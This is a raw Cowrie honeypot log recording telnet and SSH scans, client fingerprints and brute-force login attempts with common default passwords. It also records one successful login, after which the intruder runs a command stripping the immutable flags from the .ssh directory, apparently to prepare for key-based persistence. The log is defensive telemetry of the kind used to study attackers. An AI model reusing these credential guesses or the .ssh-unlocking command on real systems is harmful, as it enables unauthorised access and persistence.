{"eventid":"cowrie.session.closed","duration":31.30724263191223,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:53:08.452481Z","src_ip":"173.249.63.118","session":"b2e32916c6af","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"167.99.38.72","src_port":58232,"dst_ip":"159.203.135.109","dst_port":23,"session":"d5ce4cf63301","protocol":"telnet","message":"New connection: 167.99.38.72:58232 (159.203.135.109:23) [session: d5ce4cf63301]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:53:11.211989Z"}
{"eventid":"cowrie.session.connect","src_ip":"167.99.38.72","src_port":60928,"dst_ip":"159.203.135.109","dst_port":23,"session":"a0b394dc9dce","protocol":"telnet","message":"New connection: 167.99.38.72:60928 (159.203.135.109:23) [session: a0b394dc9dce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:53:12.579037Z"}
{"eventid":"cowrie.session.closed","duration":36.72690677642822,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:53:18.842408Z","src_ip":"167.99.38.72","session":"a14e3c3868b9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.354146242141724,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:53:21.157864Z","src_ip":"167.99.38.72","session":"5787fbb0f0a6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":59806,"dst_ip":"159.203.135.109","dst_port":23,"session":"c0dfdcc8bcc2","protocol":"telnet","message":"New connection: 185.26.126.47:59806 (159.203.135.109:23) [session: c0dfdcc8bcc2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:53:38.428382Z"}
{"eventid":"cowrie.session.closed","duration":34.70021104812622,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:53:45.912065Z","src_ip":"167.99.38.72","session":"d5ce4cf63301","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"160.251.101.169","src_port":55612,"dst_ip":"10.17.0.5","dst_port":22,"session":"6fea74cf2b00","protocol":"ssh","message":"New connection: 160.251.101.169:55612 (10.17.0.5:22) [session: 6fea74cf2b00]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:53:46.652978Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:53:46.658947Z","src_ip":"160.251.101.169","session":"6fea74cf2b00","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:53:46.820675Z","src_ip":"160.251.101.169","session":"6fea74cf2b00","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mysql","password":"1qazxsw2","message":"login attempt [mysql/1qazxsw2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:53:47.504063Z","src_ip":"160.251.101.169","session":"6fea74cf2b00","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.20265483856201,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:53:47.781606Z","src_ip":"167.99.38.72","session":"a0b394dc9dce","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:53:48.674415Z","src_ip":"160.251.101.169","session":"6fea74cf2b00","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":41812,"dst_ip":"159.203.135.109","dst_port":23,"session":"21255f7921b7","protocol":"telnet","message":"New connection: 185.26.126.47:41812 (159.203.135.109:23) [session: 21255f7921b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:53:53.087712Z"}
{"eventid":"cowrie.session.connect","src_ip":"148.230.169.229","src_port":59696,"dst_ip":"10.17.0.5","dst_port":22,"session":"732809c44dbc","protocol":"ssh","message":"New connection: 148.230.169.229:59696 (10.17.0.5:22) [session: 732809c44dbc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:54:12.012913Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:54:12.021526Z","src_ip":"148.230.169.229","session":"732809c44dbc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:54:12.086684Z","src_ip":"148.230.169.229","session":"732809c44dbc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"welcome","message":"login attempt [ubuntu/welcome] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:54:12.378536Z","src_ip":"148.230.169.229","session":"732809c44dbc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:54:13.445735Z","src_ip":"148.230.169.229","session":"732809c44dbc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.108.60.101","src_port":41248,"dst_ip":"10.17.0.5","dst_port":22,"session":"6bde9a7c3269","protocol":"ssh","message":"New connection: 190.108.60.101:41248 (10.17.0.5:22) [session: 6bde9a7c3269]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:54:14.625369Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:54:14.630198Z","src_ip":"190.108.60.101","session":"6bde9a7c3269","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":55782,"dst_ip":"159.203.135.109","dst_port":23,"session":"24df5ee5d6bc","protocol":"telnet","message":"New connection: 185.26.126.47:55782 (159.203.135.109:23) [session: 24df5ee5d6bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:54:14.679955Z"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:54:14.846638Z","src_ip":"190.108.60.101","session":"6bde9a7c3269","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"ldap","message":"login attempt [admin/ldap] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:54:15.738357Z","src_ip":"190.108.60.101","session":"6bde9a7c3269","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:54:16.954274Z","src_ip":"190.108.60.101","session":"6bde9a7c3269","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.99.38.72","src_port":54158,"dst_ip":"159.203.135.109","dst_port":23,"session":"68a302a8c194","protocol":"telnet","message":"New connection: 167.99.38.72:54158 (159.203.135.109:23) [session: 68a302a8c194]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:54:19.596185Z"}
{"eventid":"cowrie.session.closed","duration":43.37691140174866,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:54:21.805016Z","src_ip":"185.26.126.47","session":"c0dfdcc8bcc2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":12.193193674087524,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:54:26.873017Z","src_ip":"185.26.126.47","session":"24df5ee5d6bc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.44933795928955,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:54:31.536955Z","src_ip":"185.26.126.47","session":"21255f7921b7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"160.251.101.169","src_port":43408,"dst_ip":"10.17.0.5","dst_port":22,"session":"09d5c50dbb54","protocol":"ssh","message":"New connection: 160.251.101.169:43408 (10.17.0.5:22) [session: 09d5c50dbb54]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:54:44.818847Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:54:44.828465Z","src_ip":"160.251.101.169","session":"09d5c50dbb54","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:54:44.984894Z","src_ip":"160.251.101.169","session":"09d5c50dbb54","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"Pass1234","message":"login attempt [test/Pass1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:54:45.613462Z","src_ip":"160.251.101.169","session":"09d5c50dbb54","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:54:46.791244Z","src_ip":"160.251.101.169","session":"09d5c50dbb54","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.491591930389404,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:54:53.087629Z","src_ip":"167.99.38.72","session":"68a302a8c194","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"167.99.38.72","src_port":51204,"dst_ip":"159.203.135.109","dst_port":23,"session":"a4859e2ddd97","protocol":"telnet","message":"New connection: 167.99.38.72:51204 (159.203.135.109:23) [session: a4859e2ddd97]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:55:00.374420Z"}
{"eventid":"cowrie.session.connect","src_ip":"190.108.60.101","src_port":59248,"dst_ip":"10.17.0.5","dst_port":22,"session":"7375230f7f55","protocol":"ssh","message":"New connection: 190.108.60.101:59248 (10.17.0.5:22) [session: 7375230f7f55]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:55:24.612534Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:55:24.617627Z","src_ip":"190.108.60.101","session":"7375230f7f55","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:55:24.829045Z","src_ip":"190.108.60.101","session":"7375230f7f55","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"test123","message":"login attempt [ansible/test123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:55:25.701265Z","src_ip":"190.108.60.101","session":"7375230f7f55","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:55:26.915496Z","src_ip":"190.108.60.101","session":"7375230f7f55","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.99.38.72","src_port":34714,"dst_ip":"159.203.135.109","dst_port":23,"session":"1691d1e1081d","protocol":"telnet","message":"New connection: 167.99.38.72:34714 (159.203.135.109:23) [session: 1691d1e1081d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:55:32.105337Z"}
{"eventid":"cowrie.session.closed","duration":35.059526205062866,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:55:35.433833Z","src_ip":"167.99.38.72","session":"a4859e2ddd97","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"160.251.101.169","src_port":58782,"dst_ip":"10.17.0.5","dst_port":22,"session":"c467e4586bc7","protocol":"ssh","message":"New connection: 160.251.101.169:58782 (10.17.0.5:22) [session: c467e4586bc7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:55:44.732640Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:55:44.738509Z","src_ip":"160.251.101.169","session":"c467e4586bc7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:55:44.897848Z","src_ip":"160.251.101.169","session":"c467e4586bc7","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"Admin!@#","message":"login attempt [admin/Admin!@#] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:55:45.537961Z","src_ip":"160.251.101.169","session":"c467e4586bc7","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:55:45.901026Z","src_ip":"160.251.101.169","session":"c467e4586bc7","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:55:45.904557Z","src_ip":"160.251.101.169","session":"c467e4586bc7","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:55:45.908901Z","src_ip":"160.251.101.169","session":"c467e4586bc7","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:55:46.077147Z","src_ip":"160.251.101.169","session":"c467e4586bc7","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:55:46.434595Z","src_ip":"160.251.101.169","session":"c467e4586bc7","protocol":"ssh"}
